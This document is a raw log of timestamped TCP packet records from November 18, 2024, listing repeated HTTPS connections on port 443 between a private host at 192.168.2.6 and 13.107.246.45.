Nov 18, 2024 02:34:44.921220064 CET	49922	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.921391964 CET	443	49923	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.921451092 CET	443	49924	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.921521902 CET	49924	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.921622038 CET	443	49923	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.921667099 CET	49923	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.925520897 CET	49922	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.925520897 CET	49922	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.925544024 CET	443	49922	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.925555944 CET	443	49922	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.926608086 CET	49924	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.926625967 CET	443	49924	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.926651955 CET	49924	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.926657915 CET	443	49924	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.927540064 CET	49923	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.927572012 CET	443	49923	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.927680969 CET	49923	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.927690983 CET	443	49923	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.941797972 CET	49931	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.941833019 CET	443	49931	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.941901922 CET	49931	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.943418026 CET	49932	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.943447113 CET	443	49932	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.943594933 CET	49932	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.944344997 CET	49931	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.944361925 CET	443	49931	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.947693110 CET	49933	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.947758913 CET	443	49933	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.947946072 CET	49933	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.949317932 CET	49932	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.949335098 CET	443	49932	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.949593067 CET	49933	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.949619055 CET	443	49933	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:45.117278099 CET	443	49925	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:45.136451960 CET	49925	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:45.136476994 CET	443	49925	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:45.137044907 CET	49925	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:45.137063980 CET	443	49925	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:45.273034096 CET	443	49925	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:45.273202896 CET	443	49925	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:45.273281097 CET	49925	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:45.273577929 CET	49925	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:45.273577929 CET	49925	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:45.273597956 CET	443	49925	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:45.273611069 CET	443	49925	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:45.278567076 CET	49941	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:45.278646946 CET	443	49941	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:45.278724909 CET	49941	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:45.279172897 CET	49941	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:45.279223919 CET	443	49941	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:45.372665882 CET	443	49926	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:45.373214960 CET	49926	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:45.373244047 CET	443	49926	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:45.373697042 CET	49926	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:45.373711109 CET	443	49926	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:45.502305984 CET	443	49926	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:45.502568960 CET	443	49926	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:45.502624989 CET	443	49926	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:45.502667904 CET	49926	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:45.502667904 CET	49926	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:45.502749920 CET	49926	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:45.502749920 CET	49926	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:45.502770901 CET	443	49926	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:45.502784014 CET	443	49926	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:45.506386042 CET	49942	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:45.506427050 CET	443	49942	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:45.506575108 CET	49942	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:45.506819963 CET	49942	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:45.506836891 CET	443	49942	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:45.679369926 CET	443	49933	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:45.680088997 CET	49933	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:45.680167913 CET	443	49933	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:45.680740118 CET	49933	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:45.680768967 CET	443	49933	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:45.690375090 CET	443	49932	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:45.690723896 CET	49932	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:45.690757990 CET	443	49932	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:45.691112995 CET	49932	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:45.691126108 CET	443	49932	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:45.808470011 CET	443	49933	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:45.808598995 CET	443	49933	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:45.808748960 CET	49933	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:45.811002970 CET	49933	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:45.811013937 CET	443	49933	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:45.814276934 CET	49943	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:45.814320087 CET	443	49943	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:45.814400911 CET	49943	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:45.814640999 CET	49943	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:45.814661980 CET	443	49943	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:45.889321089 CET	443	49931	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:45.889848948 CET	49931	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:45.889870882 CET	443	49931	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:45.890244007 CET	49931	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:45.890249014 CET	443	49931	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.004059076 CET	443	49932	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.004089117 CET	443	49932	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.004173040 CET	49932	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.004182100 CET	443	49932	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.004268885 CET	49932	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.004551888 CET	49932	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.004570007 CET	443	49932	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.004584074 CET	49932	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.004591942 CET	443	49932	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.007452965 CET	49945	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.007483959 CET	443	49945	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.007800102 CET	49945	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.007941961 CET	49945	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.007950068 CET	443	49945	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.026009083 CET	443	49941	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.026420116 CET	49941	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.026446104 CET	443	49941	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.027089119 CET	49941	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.027093887 CET	443	49941	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.043966055 CET	443	49931	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.044132948 CET	443	49931	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.044219017 CET	49931	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.044265032 CET	49931	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.044265032 CET	49931	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.044284105 CET	443	49931	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.044289112 CET	443	49931	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.046730995 CET	49946	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.046780109 CET	443	49946	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.046935081 CET	49946	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.047090054 CET	49946	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.047108889 CET	443	49946	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.156219959 CET	443	49941	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.156284094 CET	443	49941	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.156343937 CET	49941	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.156359911 CET	443	49941	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.156388044 CET	443	49941	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.156440973 CET	49941	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.156670094 CET	49941	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.156683922 CET	443	49941	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.156694889 CET	49941	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.156699896 CET	443	49941	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.160717010 CET	49947	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.160746098 CET	443	49947	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.161220074 CET	49947	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.161503077 CET	49947	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.161518097 CET	443	49947	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.248286963 CET	443	49942	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.248775005 CET	49942	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.248799086 CET	443	49942	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.249315023 CET	49942	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.249320984 CET	443	49942	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.381716967 CET	443	49942	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.381831884 CET	443	49942	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.381993055 CET	49942	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.382386923 CET	49942	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.382411003 CET	443	49942	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.382425070 CET	49942	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.382435083 CET	443	49942	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.387363911 CET	49955	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.387419939 CET	443	49955	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.387687922 CET	49955	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.388710022 CET	49955	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.388730049 CET	443	49955	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.550122023 CET	443	49943	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.550714016 CET	49943	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.550744057 CET	443	49943	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.551254034 CET	49943	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.551259995 CET	443	49943	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.675667048 CET	443	49943	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.675839901 CET	443	49943	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.675915003 CET	49943	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.676060915 CET	49943	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.676060915 CET	49943	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.676078081 CET	443	49943	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.676090956 CET	443	49943	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.695486069 CET	49956	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.695523024 CET	443	49956	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.695599079 CET	49956	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.696399927 CET	49956	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.696417093 CET	443	49956	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.756194115 CET	443	49945	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.756982088 CET	49945	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.757004976 CET	443	49945	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.757500887 CET	49945	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.757508993 CET	443	49945	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.769933939 CET	443	49946	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.770313025 CET	49946	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.770332098 CET	443	49946	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.770816088 CET	49946	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.770826101 CET	443	49946	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.887670994 CET	443	49945	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.887821913 CET	443	49945	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.887944937 CET	49945	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.888521910 CET	49945	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.888542891 CET	443	49945	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.888561964 CET	49945	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.888576031 CET	443	49945	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.889591932 CET	443	49947	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.890208960 CET	49947	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.890225887 CET	443	49947	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.890754938 CET	49947	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.890772104 CET	443	49947	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.895241976 CET	49957	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.895293951 CET	443	49957	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.895392895 CET	49957	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.895518064 CET	49957	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.895530939 CET	443	49957	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.903955936 CET	443	49946	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.904051065 CET	443	49946	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.904123068 CET	49946	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.986903906 CET	49946	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.986929893 CET	443	49946	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:46.986944914 CET	49946	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:46.986953020 CET	443	49946	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.003561974 CET	49958	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.003627062 CET	443	49958	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.003688097 CET	49958	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.017868042 CET	443	49947	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.017945051 CET	443	49947	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.018032074 CET	49947	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.120315075 CET	443	49955	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.128509045 CET	49958	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.128546000 CET	443	49958	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.170557022 CET	49955	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.204662085 CET	49947	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.204662085 CET	49947	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.204688072 CET	443	49947	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.204700947 CET	443	49947	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.242053986 CET	49955	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.242064953 CET	443	49955	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.242537022 CET	49955	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.242542982 CET	443	49955	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.249547958 CET	49959	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.249583960 CET	443	49959	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.249639034 CET	49959	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.249890089 CET	49959	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.249907017 CET	443	49959	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.369688034 CET	443	49955	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.369714022 CET	443	49955	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.369795084 CET	49955	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.369807959 CET	443	49955	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.369983912 CET	49955	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.374733925 CET	49955	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.374757051 CET	443	49955	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.374771118 CET	49955	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.374778032 CET	443	49955	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.378906965 CET	49960	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.378987074 CET	443	49960	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.379348040 CET	49960	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.379539967 CET	49960	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.379576921 CET	443	49960	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.450496912 CET	443	49956	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.454593897 CET	49956	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.454637051 CET	443	49956	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.455352068 CET	49956	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.455363035 CET	443	49956	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.581060886 CET	443	49956	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.581206083 CET	443	49956	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.581481934 CET	49956	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.584211111 CET	49956	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.584239006 CET	443	49956	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.584270000 CET	49956	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.584284067 CET	443	49956	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.644169092 CET	443	49957	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.665700912 CET	49957	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.665736914 CET	443	49957	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.666157007 CET	49957	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.666171074 CET	443	49957	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.675438881 CET	49962	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.675499916 CET	443	49962	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.675604105 CET	49962	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.675929070 CET	49962	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.675960064 CET	443	49962	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.793015003 CET	443	49957	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.793195009 CET	443	49957	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.793246031 CET	443	49957	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.793252945 CET	49957	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.793303013 CET	49957	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.803808928 CET	49957	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.803842068 CET	443	49957	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.803877115 CET	49957	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.803894997 CET	443	49957	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.825273037 CET	49963	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.825336933 CET	443	49963	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.825545073 CET	49963	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.827657938 CET	49963	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.827676058 CET	443	49963	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.860143900 CET	443	49958	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.879163980 CET	49958	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.879182100 CET	443	49958	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.879688978 CET	49958	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.879694939 CET	443	49958	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.990138054 CET	443	49959	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.990605116 CET	49959	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.990638971 CET	443	49959	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:47.991309881 CET	49959	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:47.991324902 CET	443	49959	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.006165981 CET	443	49958	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.006247044 CET	443	49958	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.006346941 CET	49958	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.007910967 CET	49958	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.007922888 CET	443	49958	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.007941008 CET	49958	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.007947922 CET	443	49958	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.112371922 CET	443	49960	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.112956047 CET	49960	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.113040924 CET	443	49960	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.113547087 CET	49965	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.113591909 CET	443	49965	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.113806009 CET	49965	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.113830090 CET	49960	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.113845110 CET	443	49960	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.113945007 CET	49965	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.113960981 CET	443	49965	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.128012896 CET	443	49959	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.128050089 CET	443	49959	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.128114939 CET	443	49959	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.128161907 CET	49959	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.128233910 CET	49959	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.128338099 CET	49959	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.128382921 CET	443	49959	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.128412962 CET	49959	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.128428936 CET	443	49959	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.132960081 CET	49967	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.132978916 CET	443	49967	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.133030891 CET	49967	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.133228064 CET	49967	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.133238077 CET	443	49967	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.242868900 CET	443	49960	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.243000984 CET	443	49960	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.243057966 CET	49960	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.248949051 CET	49960	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.248949051 CET	49960	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.248967886 CET	443	49960	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.248980045 CET	443	49960	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.254554033 CET	49970	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.254595995 CET	443	49970	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.254686117 CET	49970	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.255069971 CET	49970	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.255088091 CET	443	49970	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.431658983 CET	443	49962	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.432189941 CET	49962	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.432259083 CET	443	49962	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.432698011 CET	49962	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:48.432718039 CET	443	49962	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:48.548866034 CET	443	49963	13.107.246.45	192.168.2.6
